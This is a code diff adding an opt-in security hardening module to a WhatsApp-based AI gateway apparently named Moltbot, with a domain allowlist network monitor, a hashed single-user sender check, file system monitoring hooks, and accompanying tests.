|
||||||
|
afterEach(() => {
|
||||||
|
teardownHardening();
|
||||||
|
delete process.env.MOLTBOT_HARDENING_ENABLED;
|
||||||
|
delete process.env.CLAWDBOT_HARDENING_ENABLED;
|
||||||
|
delete process.env.MOLTBOT_AUTHORIZED_USER_HASH;
|
||||||
|
delete process.env.CLAWDBOT_AUTHORIZED_USER_HASH;
|
||||||
|
});
|
||||||
|
|
||||||
|
it("is disabled by default", () => {
|
||||||
|
expect(isHardeningEnabled({})).toBe(false);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("can be enabled via config", () => {
|
||||||
|
expect(isHardeningEnabled({ security: { hardening: { enabled: true } } } as any)).toBe(true);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("can be enabled via env var", () => {
|
||||||
|
process.env.MOLTBOT_HARDENING_ENABLED = "1";
|
||||||
|
expect(isHardeningEnabled({})).toBe(true);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("returns inactive when disabled", () => {
|
||||||
|
const result = initHardening({});
|
||||||
|
expect(result.active).toBe(false);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("initializes all modules when enabled with full config", () => {
|
||||||
|
const testHash = crypto.createHash("sha256").update("+1234567890").digest("hex");
|
||||||
|
process.env.MOLTBOT_HARDENING_ENABLED = "1";
|
||||||
|
process.env.MOLTBOT_AUTHORIZED_USER_HASH = testHash;
|
||||||
|
|
||||||
|
const result = initHardening({});
|
||||||
|
expect(result.active).toBe(true);
|
||||||
|
expect(result.singleUser).toBe(true);
|
||||||
|
expect(result.networkMonitor).toBe(true);
|
||||||
|
expect(result.fsMonitor).toBe(true);
|
||||||
|
expect(result.logPath).toBeTruthy();
|
||||||
|
});
|
||||||
|
|
||||||
|
it("initializes without single-user when no hash is provided", () => {
|
||||||
|
process.env.MOLTBOT_HARDENING_ENABLED = "1";
|
||||||
|
|
||||||
|
const result = initHardening({});
|
||||||
|
expect(result.active).toBe(true);
|
||||||
|
expect(result.singleUser).toBe(false);
|
||||||
|
expect(result.networkMonitor).toBe(true);
|
||||||
|
expect(result.fsMonitor).toBe(true);
|
||||||
|
});
|
||||||
|
});
|
||||||
218
src/security/hardening.ts
Normal file
218
src/security/hardening.ts
Normal file
@ -0,0 +1,218 @@
|
|||||||
|
/**
|
||||||
|
* Security hardening module - entry point.
|
||||||
|
*
|
||||||
|
* Provides single-user authorization, network domain whitelisting,
|
||||||
|
* and file system access monitoring for secure single-user deployments.
|
||||||
|
*
|
||||||
|
* Enable by setting `security.hardening.enabled: true` in config or
|
||||||
|
* `MOLTBOT_HARDENING_ENABLED=1` environment variable.
|
||||||
|
*
|
||||||
|
* Configuration (in moltbot.json):
|
||||||
|
* security: {
|
||||||
|
* hardening: {
|
||||||
|
* enabled: true,
|
||||||
|
* authorizedUserHash: "<sha256 hex of your E.164 phone>",
|
||||||
|
* network: {
|
||||||
|
* enforce: true,
|
||||||
|
* extraAllowedDomains: ["api.openai.com"],
|
||||||
|
* extraAllowedSuffixes: [".openai.com"],
|
||||||
|
* logAllowed: false,
|
||||||
|
* },
|
||||||
|
* filesystem: {
|
||||||
|
* enforce: false,
|
||||||
|
* extraSensitivePaths: ["~/Documents/secret"],
|
||||||
|
* },
|
||||||
|
* },
|
||||||
|
* }
|
||||||
|
*
|
||||||
|
* Or via environment variables:
|
||||||
|
* MOLTBOT_HARDENING_ENABLED=1
|
||||||
|
* MOLTBOT_AUTHORIZED_USER_HASH=<sha256>
|
||||||
|
* MOLTBOT_HARDENING_NETWORK_ENFORCE=1
|
||||||
|
* MOLTBOT_HARDENING_FS_ENFORCE=0
|
||||||
|
*/
|
||||||
|
|
||||||
|
import type { MoltbotConfig } from "../config/config.js";
|
||||||
|
import {
|
||||||
|
closeHardeningLogger,
|
||||||
|
getHardeningLogPath,
|
||||||
|
initHardeningLogger,
|
||||||
|
logSecurityEvent,
|
||||||
|
} from "./hardening-logger.js";
|
||||||
|
import { initSingleUserEnforcer, isSingleUserEnforcerActive } from "./single-user-enforcer.js";
|
||||||
|
import {
|
||||||
|
installNetworkMonitor,
|
||||||
|
isNetworkMonitorActive,
|
||||||
|
uninstallNetworkMonitor,
|
||||||
|
} from "./network-monitor.js";
|
||||||
|
import { installFsMonitor, isFsMonitorActive, uninstallFsMonitor } from "./fs-monitor.js";
|
||||||
|
|
||||||
|
export type HardeningConfig = {
|
||||||
|
enabled?: boolean;
|
||||||
|
/** SHA-256 hex hash of the authorized user's E.164 phone number. */
|
||||||
|
authorizedUserHash?: string;
|
||||||
|
network?: {
|
||||||
|
enforce?: boolean;
|
||||||
|
extraAllowedDomains?: string[];
|
||||||
|
extraAllowedSuffixes?: string[];
|
||||||
|
logAllowed?: boolean;
|
||||||
|
};
|
||||||
|
filesystem?: {
|
||||||
|
enforce?: boolean;
|
||||||
|
extraSensitivePaths?: string[];
|
||||||
|
};
|
||||||
|
};
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Extract hardening config from the app config and environment.
|
||||||
|
*/
|
||||||
|
function resolveHardeningConfig(cfg: MoltbotConfig): HardeningConfig {
|
||||||
|
const security = (cfg as Record<string, unknown>).security as Record<string, unknown> | undefined;
|
||||||
|
const hardening = security?.hardening as HardeningConfig | undefined;
|
||||||
|
return hardening ?? {};
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Check if hardening is enabled via config or environment.
|
||||||
|
*/
|
||||||
|
export function isHardeningEnabled(cfg: MoltbotConfig): boolean {
|
||||||
|
const config = resolveHardeningConfig(cfg);
|
||||||
|
if (config.enabled === true) return true;
|
||||||
|
if (config.enabled === false) return false;
|
||||||
|
// Also check environment variable
|
||||||
|
const envFlag = process.env.MOLTBOT_HARDENING_ENABLED ?? process.env.CLAWDBOT_HARDENING_ENABLED;
|
||||||
|
return envFlag === "1" || envFlag === "true";
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Initialize all security hardening modules.
|
||||||
|
* Should be called very early in gateway startup, before any I/O.
|
||||||
|
*/
|
||||||
|
export function initHardening(cfg: MoltbotConfig): {
|
||||||
|
active: boolean;
|
||||||
|
singleUser: boolean;
|
||||||
|
networkMonitor: boolean;
|
||||||
|
fsMonitor: boolean;
|
||||||
|
logPath: string | null;
|
||||||
|
} {
|
||||||
|
if (!isHardeningEnabled(cfg)) {
|
||||||
|
return {
|
||||||
|
active: false,
|
||||||
|
singleUser: false,
|
||||||
|
networkMonitor: false,
|
||||||
|
fsMonitor: false,
|
||||||
|
logPath: null,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
const config = resolveHardeningConfig(cfg);
|
||||||
|
|
||||||
|
// 1. Initialize audit logger first (all other modules depend on it).
|
||||||
|
initHardeningLogger();
|
||||||
|
|
||||||
|
logSecurityEvent("hardening_init", {
|
||||||
|
module: "hardening",
|
||||||
|
message: "Security hardening starting",
|
||||||
|
});
|
||||||
|
|
||||||
|
// 2. Single-user enforcer (if hash is configured).
|
||||||
|
const userHash =
|
||||||
|
config.authorizedUserHash ??
|
||||||
|
process.env.MOLTBOT_AUTHORIZED_USER_HASH ??
|
||||||
|
process.env.CLAWDBOT_AUTHORIZED_USER_HASH;
|
||||||
|
|
||||||
|
let singleUserActive = false;
|
||||||
|
if (userHash) {
|
||||||
|
try {
|
||||||
|
initSingleUserEnforcer({ authorizedUserHash: userHash });
|
||||||
|
singleUserActive = true;
|
||||||
|
} catch (err) {
|
||||||
|
logSecurityEvent("hardening_error", {
|
||||||
|
module: "single-user-enforcer",
|
||||||
|
error: String(err),
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 3. Network monitor.
|
||||||
|
let networkActive = false;
|
||||||
|
try {
|
||||||
|
const networkEnforceEnv =
|
||||||
|
process.env.MOLTBOT_HARDENING_NETWORK_ENFORCE ??
|
||||||
|
process.env.CLAWDBOT_HARDENING_NETWORK_ENFORCE;
|
||||||
|
installNetworkMonitor({
|
||||||
|
enforce:
|
||||||
|
config.network?.enforce ?? (networkEnforceEnv === "1" || networkEnforceEnv === "true"),
|
||||||
|
extraAllowedDomains: config.network?.extraAllowedDomains,
|
||||||
|
extraAllowedSuffixes: config.network?.extraAllowedSuffixes,
|
||||||
|
logAllowed: config.network?.logAllowed ?? false,
|
||||||
|
});
|
||||||
|
networkActive = true;
|
||||||
|
} catch (err) {
|
||||||
|
logSecurityEvent("hardening_error", {
|
||||||
|
module: "network-monitor",
|
||||||
|
error: String(err),
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
// 4. File system monitor.
|
||||||
|
let fsActive = false;
|
||||||
|
try {
|
||||||
|
const fsEnforceEnv =
|
||||||
|
process.env.MOLTBOT_HARDENING_FS_ENFORCE ?? process.env.CLAWDBOT_HARDENING_FS_ENFORCE;
|
||||||
|
installFsMonitor({
|
||||||
|
enforce: config.filesystem?.enforce ?? (fsEnforceEnv === "1" || fsEnforceEnv === "true"),
|
||||||
|
extraSensitivePaths: config.filesystem?.extraSensitivePaths,
|
||||||
|
});
|
||||||
|
fsActive = true;
|
||||||
|
} catch (err) {
|
||||||
|
logSecurityEvent("hardening_error", {
|
||||||
|
module: "fs-monitor",
|
||||||
|
error: String(err),
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
logSecurityEvent("hardening_init", {
|
||||||
|
module: "hardening",
|
||||||
|
message: "Security hardening initialized",
|
||||||
|
singleUser: singleUserActive,
|
||||||
|
networkMonitor: networkActive,
|
||||||
|
fsMonitor: fsActive,
|
||||||
|
});
|
||||||
|
|
||||||
|
return {
|
||||||
|
active: true,
|
||||||
|
singleUser: singleUserActive,
|
||||||
|
networkMonitor: networkActive,
|
||||||
|
fsMonitor: fsActive,
|
||||||
|
logPath: getHardeningLogPath(),
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Tear down all hardening modules. Call on gateway shutdown.
|
||||||
|
*/
|
||||||
|
export function teardownHardening(): void {
|
||||||
|
uninstallNetworkMonitor();
|
||||||
|
uninstallFsMonitor();
|
||||||
|
closeHardeningLogger();
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Get the current hardening status for diagnostics.
|
||||||
|
*/
|
||||||
|
export function getHardeningStatus(): {
|
||||||
|
active: boolean;
|
||||||
|
singleUser: boolean;
|
||||||
|
networkMonitor: boolean;
|
||||||
|
fsMonitor: boolean;
|
||||||
|
logPath: string | null;
|
||||||
|
} {
|
||||||
|
return {
|
||||||
|
active: isSingleUserEnforcerActive() || isNetworkMonitorActive() || isFsMonitorActive(),
|
||||||
|
singleUser: isSingleUserEnforcerActive(),
|
||||||
|
networkMonitor: isNetworkMonitorActive(),
|
||||||
|
fsMonitor: isFsMonitorActive(),
|
||||||
|
logPath: getHardeningLogPath(),
|
||||||
|
};
|
||||||
|
}
|
||||||
237
src/security/network-monitor.ts
Normal file
237
src/security/network-monitor.ts
Normal file
@ -0,0 +1,237 @@
|
|||||||
|
import http from "node:http";
|
||||||
|
import https from "node:https";
|
||||||
|
|
||||||
|
import { logSecurityEvent } from "./hardening-logger.js";
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Default domain whitelist for single-user secure mode.
|
||||||
|
* Only these domains (and their subdomains) are allowed for outbound requests.
|
||||||
|
*/
|
||||||
|
const DEFAULT_ALLOWED_DOMAINS: string[] = [
|
||||||
|
// Claude / Anthropic API
|
||||||
|
"api.anthropic.com",
|
||||||
|
// WhatsApp Web protocol (Baileys)
|
||||||
|
"web.whatsapp.com",
|
||||||
|
"w1.web.whatsapp.com",
|
||||||
|
"w2.web.whatsapp.com",
|
||||||
|
"w3.web.whatsapp.com",
|
||||||
|
"w4.web.whatsapp.com",
|
||||||
|
"w5.web.whatsapp.com",
|
||||||
|
"w6.web.whatsapp.com",
|
||||||
|
"w7.web.whatsapp.com",
|
||||||
|
"w8.web.whatsapp.com",
|
||||||
|
"w9.web.whatsapp.com",
|
||||||
|
// WhatsApp media servers
|
||||||
|
"mmg.whatsapp.net",
|
||||||
|
"media.whatsapp.com",
|
||||||
|
"media-ams2-1.cdn.whatsapp.net",
|
||||||
|
// WhatsApp general
|
||||||
|
"g.whatsapp.net",
|
||||||
|
"v.whatsapp.net",
|
||||||
|
"pps.whatsapp.net",
|
||||||
|
// Localhost / loopback (gateway internal)
|
||||||
|
"localhost",
|
||||||
|
"127.0.0.1",
|
||||||
|
"::1",
|
||||||
|
"[::1]",
|
||||||
|
];
|
||||||
|
|
||||||
|
/** Suffix patterns that match any subdomain (e.g. ".whatsapp.net" matches "mmg.whatsapp.net") */
|
||||||
|
const DEFAULT_ALLOWED_SUFFIXES: string[] = [".whatsapp.net", ".whatsapp.com", ".cdn.whatsapp.net"];
|
||||||
|
|
||||||
|
export type NetworkMonitorOptions = {
|
||||||
|
/** Extra domains to allow beyond the defaults. */
|
||||||
|
extraAllowedDomains?: string[];
|
||||||
|
/** Extra domain suffixes to allow (e.g. ".openai.com"). */
|
||||||
|
extraAllowedSuffixes?: string[];
|
||||||
|
/** Replace the default whitelist entirely. */
|
||||||
|
allowedDomains?: string[];
|
||||||
|
/** Replace the default suffix whitelist entirely. */
|
||||||
|
allowedSuffixes?: string[];
|
||||||
|
/** If true, log allowed requests too (verbose). Default: false. */
|
||||||
|
logAllowed?: boolean;
|
||||||
|
/** If true, block disallowed requests. If false, only log (monitor mode). Default: true. */
|
||||||
|
enforce?: boolean;
|
||||||
|
};
|
||||||
|
|
||||||
|
let allowedDomainSet: Set<string> | null = null;
|
||||||
|
let allowedSuffixList: string[] | null = null;
|
||||||
|
let logAllowedRequests = false;
|
||||||
|
let enforceMode = true;
|
||||||
|
let originalFetch: typeof globalThis.fetch | null = null;
|
||||||
|
let originalHttpRequest: typeof http.request | null = null;
|
||||||
|
let originalHttpsRequest: typeof https.request | null = null;
|
||||||
|
let installed = false;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Check if a hostname is allowed by the whitelist.
|
||||||
|
*/
|
||||||
|
export function isDomainAllowed(hostname: string): boolean {
|
||||||
|
if (!allowedDomainSet || !allowedSuffixList) return true; // not initialized = passthrough
|
||||||
|
const normalized = hostname.trim().toLowerCase().replace(/\.$/, "");
|
||||||
|
if (!normalized) return false;
|
||||||
|
if (allowedDomainSet.has(normalized)) return true;
|
||||||
|
for (const suffix of allowedSuffixList) {
|
||||||
|
if (normalized.endsWith(suffix)) return true;
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Extract hostname from a URL string or Request object.
|
||||||
|
*/
|
||||||
|
function extractHostname(input: string | URL | Request): string | null {
|
||||||
|
try {
|
||||||
|
const urlStr =
|
||||||
|
typeof input === "string" ? input : input instanceof URL ? input.href : input.url;
|
||||||
|
const parsed = new URL(urlStr);
|
||||||
|
return parsed.hostname;
|
||||||
|
} catch {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Install the network monitor by wrapping global.fetch and http(s).request.
|
||||||
|
*/
|
||||||
|
export function installNetworkMonitor(opts?: NetworkMonitorOptions): void {
|
||||||
|
if (installed) return;
|
||||||
|
|
||||||
|
const domains = opts?.allowedDomains ?? [
|
||||||
|
...DEFAULT_ALLOWED_DOMAINS,
|
||||||
|
...(opts?.extraAllowedDomains ?? []),
|
||||||
|
];
|
||||||
|
const suffixes = opts?.allowedSuffixes ?? [
|
||||||
|
...DEFAULT_ALLOWED_SUFFIXES,
|
||||||
|
...(opts?.extraAllowedSuffixes ?? []),
|
||||||
|
];
|
||||||
|
|
||||||
|
allowedDomainSet = new Set(domains.map((d) => d.trim().toLowerCase()));
|
||||||
|
allowedSuffixList = suffixes.map((s) => s.trim().toLowerCase());
|
||||||
|
logAllowedRequests = opts?.logAllowed ?? false;
|
||||||
|
enforceMode = opts?.enforce !== false;
|
||||||
|
|
||||||
|
// Wrap global.fetch
|
||||||
|
originalFetch = globalThis.fetch;
|
||||||
|
globalThis.fetch = (async (input: RequestInfo | URL, init?: RequestInit): Promise<Response> => {
|
||||||
|
const hostname = extractHostname(input as string | URL | Request);
|
||||||
|
if (hostname && !isDomainAllowed(hostname)) {
|
||||||
|
logSecurityEvent("blocked_network", {
|
||||||
|
method: "fetch",
|
||||||
|
hostname,
|
||||||
|
url: String(
|
||||||
|
typeof input === "string" ? input : input instanceof URL ? input.href : input.url,
|
||||||
|
).slice(0, 200),
|
||||||
|
});
|
||||||
|
if (enforceMode) {
|
||||||
|
throw new Error(`[network-monitor] Blocked outbound request to ${hostname}`);
|
||||||
|
}
|
||||||
|
} else if (hostname && logAllowedRequests) {
|
||||||
|
logSecurityEvent("allowed_network", {
|
||||||
|
method: "fetch",
|
||||||
|
hostname,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
return originalFetch!(input, init);
|
||||||
|
}) as typeof globalThis.fetch;
|
||||||
|
|
||||||
|
// Wrap http.request
|
||||||
|
originalHttpRequest = http.request;
|
||||||
|
(http as { request: typeof http.request }).request = ((...args: unknown[]) => {
|
||||||
|
const hostname = extractHostnameFromHttpArgs(args);
|
||||||
|
if (hostname && !isDomainAllowed(hostname)) {
|
||||||
|
logSecurityEvent("blocked_network", { method: "http.request", hostname });
|
||||||
|
if (enforceMode) {
|
||||||
|
throw new Error(`[network-monitor] Blocked outbound HTTP request to ${hostname}`);
|
||||||
|
}
|
||||||
|
} else if (hostname && logAllowedRequests) {
|
||||||
|
logSecurityEvent("allowed_network", { method: "http.request", hostname });
|
||||||
|
}
|
||||||
|
return (originalHttpRequest as Function).apply(http, args);
|
||||||
|
}) as typeof http.request;
|
||||||
|
|
||||||
|
// Wrap https.request
|
||||||
|
originalHttpsRequest = https.request;
|
||||||
|
(https as { request: typeof https.request }).request = ((...args: unknown[]) => {
|
||||||
|
const hostname = extractHostnameFromHttpArgs(args);
|
||||||
|
if (hostname && !isDomainAllowed(hostname)) {
|
||||||
|
logSecurityEvent("blocked_network", { method: "https.request", hostname });
|
||||||
|
if (enforceMode) {
|
||||||
|
throw new Error(`[network-monitor] Blocked outbound HTTPS request to ${hostname}`);
|
||||||
|
}
|
||||||
|
} else if (hostname && logAllowedRequests) {
|
||||||
|
logSecurityEvent("allowed_network", { method: "https.request", hostname });
|
||||||
|
}
|
||||||
|
return (originalHttpsRequest as Function).apply(https, args);
|
||||||
|
}) as typeof https.request;
|
||||||
|
|
||||||
|
installed = true;
|
||||||
|
|
||||||
|
logSecurityEvent("hardening_init", {
|
||||||
|
module: "network-monitor",
|
||||||
|
allowedDomainCount: allowedDomainSet.size,
|
||||||
|
allowedSuffixCount: allowedSuffixList.length,
|
||||||
|
enforce: enforceMode,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Extract hostname from http.request / https.request arguments.
|
||||||
|
* Signature: (url, options, callback) | (options, callback) | (url, callback)
|
||||||
|
*/
|
||||||
|
function extractHostnameFromHttpArgs(args: unknown[]): string | null {
|
||||||
|
const first = args[0];
|
||||||
|
if (typeof first === "string") {
|
||||||
|
try {
|
||||||
|
return new URL(first).hostname;
|
||||||
|
} catch {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (first instanceof URL) {
|
||||||
|
return first.hostname;
|
||||||
|
}
|
||||||
|
if (first && typeof first === "object") {
|
||||||
|
const opts = first as Record<string, unknown>;
|
||||||
|
if (typeof opts.hostname === "string") return opts.hostname;
|
||||||
|
if (typeof opts.host === "string") {
|
||||||
|
// host may include port
|
||||||
|
return opts.host.replace(/:\d+$/, "");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Uninstall the network monitor, restoring original functions.
|
||||||
|
*/
|
||||||
|
export function uninstallNetworkMonitor(): void {
|
||||||
|
if (!installed) return;
|
||||||
|
if (originalFetch) {
|
||||||
|
globalThis.fetch = originalFetch;
|
||||||
|
originalFetch = null;
|
||||||
|
}
|
||||||
|
if (originalHttpRequest) {
|
||||||
|
(http as { request: typeof http.request }).request = originalHttpRequest;
|
||||||
|
originalHttpRequest = null;
|
||||||
|
}
|
||||||
|
if (originalHttpsRequest) {
|
||||||
|
(https as { request: typeof https.request }).request = originalHttpsRequest;
|
||||||
|
originalHttpsRequest = null;
|
||||||
|
}
|
||||||
|
allowedDomainSet = null;
|
||||||
|
allowedSuffixList = null;
|
||||||
|
installed = false;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Check if the network monitor is currently active.
|
||||||
|
*/
|
||||||
|
export function isNetworkMonitorActive(): boolean {
|
||||||
|
return installed;
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Reset internal state (test-only). */
|
||||||
|
export function __resetNetworkMonitorForTest(): void {
|
||||||
|
uninstallNetworkMonitor();
|
||||||
|
}
|
||||||
86
src/security/single-user-enforcer.ts
Normal file
86
src/security/single-user-enforcer.ts
Normal file
@ -0,0 +1,86 @@
|
|||||||
|
import crypto from "node:crypto";
|
||||||
|
|
||||||
|
import { logSecurityEvent } from "./hardening-logger.js";
|
||||||
|
|
||||||
|
export type SingleUserEnforcerOptions = {
|
||||||
|
/**
|
||||||
|
* SHA-256 hex hash of the authorized WhatsApp JID (e.g. "+8613800138000").
|
||||||
|
* When set, only messages from this JID are allowed; everything else is silently dropped.
|
||||||
|
* Generate with: echo -n "+8613800138000" | sha256sum
|
||||||
|
*/
|
||||||
|
authorizedUserHash: string;
|
||||||
|
};
|
||||||
|
|
||||||
|
let enforcerHash: string | null = null;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Hash a sender identifier with SHA-256.
|
||||||
|
*/
|
||||||
|
export function hashSender(sender: string): string {
|
||||||
|
return crypto.createHash("sha256").update(sender).digest("hex");
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Initialize the single-user enforcer.
|
||||||
|
* Must be called before any message processing.
|
||||||
|
*/
|
||||||
|
export function initSingleUserEnforcer(opts: SingleUserEnforcerOptions): void {
|
||||||
|
const hash = opts.authorizedUserHash.trim().toLowerCase();
|
||||||
|
if (!/^[0-9a-f]{64}$/.test(hash)) {
|
||||||
|
throw new Error(
|
||||||
|
"single-user-enforcer: authorizedUserHash must be a 64-char lowercase hex SHA-256 hash",
|
||||||
|
);
|
||||||
|
}
|
||||||
|
enforcerHash = hash;
|
||||||
|
logSecurityEvent("hardening_init", {
|
||||||
|
module: "single-user-enforcer",
|
||||||
|
hashPrefix: hash.slice(0, 8) + "...",
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Check whether a sender is the authorized user.
|
||||||
|
* Uses constant-time comparison to prevent timing attacks.
|
||||||
|
*
|
||||||
|
* @param senderIdentifier - The sender's normalized identifier (e.g. E.164 phone number "+8613800138000")
|
||||||
|
* @returns true if authorized, false otherwise
|
||||||
|
*/
|
||||||
|
export function isAuthorizedSender(senderIdentifier: string): boolean {
|
||||||
|
if (!enforcerHash) {
|
||||||
|
// Enforcer not initialized - fail closed (deny all).
|
||||||
|
logSecurityEvent("hardening_error", {
|
||||||
|
module: "single-user-enforcer",
|
||||||
|
error: "enforcer not initialized, denying all",
|
||||||
|
});
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
const senderHash = hashSender(senderIdentifier);
|
||||||
|
|
||||||
|
// Constant-time comparison to prevent timing side-channel attacks.
|
||||||
|
const authorized = crypto.timingSafeEqual(
|
||||||
|
Buffer.from(senderHash, "hex"),
|
||||||
|
Buffer.from(enforcerHash, "hex"),
|
||||||
|
);
|
||||||
|
|
||||||
|
if (!authorized) {
|
||||||
|
logSecurityEvent("blocked_sender", {
|
||||||
|
senderHashPrefix: senderHash.slice(0, 8) + "...",
|
||||||
|
senderIdentifier: senderIdentifier.slice(0, 4) + "****",
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
return authorized;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Check if the single-user enforcer is active.
|
||||||
|
*/
|
||||||
|
export function isSingleUserEnforcerActive(): boolean {
|
||||||
|
return enforcerHash !== null;
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Reset internal state (test-only). */
|
||||||
|
export function __resetSingleUserEnforcerForTest(): void {
|
||||||
|
enforcerHash = null;
|
||||||
|
}
|
||||||
@ -9,6 +9,10 @@ import { saveMediaBuffer } from "../../media/store.js";
|
|||||||
import { createInboundDebouncer } from "../../auto-reply/inbound-debounce.js";
|
import { createInboundDebouncer } from "../../auto-reply/inbound-debounce.js";
|
||||||
import { jidToE164, resolveJidToE164 } from "../../utils.js";
|
import { jidToE164, resolveJidToE164 } from "../../utils.js";
|
||||||
import { createWaSocket, getStatusCode, waitForWaConnection } from "../session.js";
|
import { createWaSocket, getStatusCode, waitForWaConnection } from "../session.js";
|
||||||
|
import {
|
||||||
|
isAuthorizedSender,
|
||||||
|
isSingleUserEnforcerActive,
|
||||||
|
} from "../../security/single-user-enforcer.js";
|
||||||
import { checkInboundAccessControl } from "./access-control.js";
|
import { checkInboundAccessControl } from "./access-control.js";
|
||||||
import { isRecentInboundMessage } from "./dedupe.js";
|
import { isRecentInboundMessage } from "./dedupe.js";
|
||||||
import {
|
import {
|
||||||
@ -166,6 +170,13 @@ export async function monitorWebInbox(options: {
|
|||||||
: null
|
: null
|
||||||
: from;
|
: from;
|
||||||
|
|
||||||
|
// Single-user enforcer: silently drop messages from non-authorized senders.
|
||||||
|
// This runs before access-control to avoid any response/pairing leakage.
|
||||||
|
if (isSingleUserEnforcerActive()) {
|
||||||
|
const senderToCheck = senderE164 ?? from;
|
||||||
|
if (!isAuthorizedSender(senderToCheck)) continue;
|
||||||
|
}
|
||||||
|
|
||||||
let groupSubject: string | undefined;
|
let groupSubject: string | undefined;
|
||||||
let groupParticipants: string[] | undefined;
|
let groupParticipants: string[] | undefined;
|
||||||
if (group) {
|
if (group) {
|
||||||
|
|||||||
Loading…
Reference in New Issue
Block a user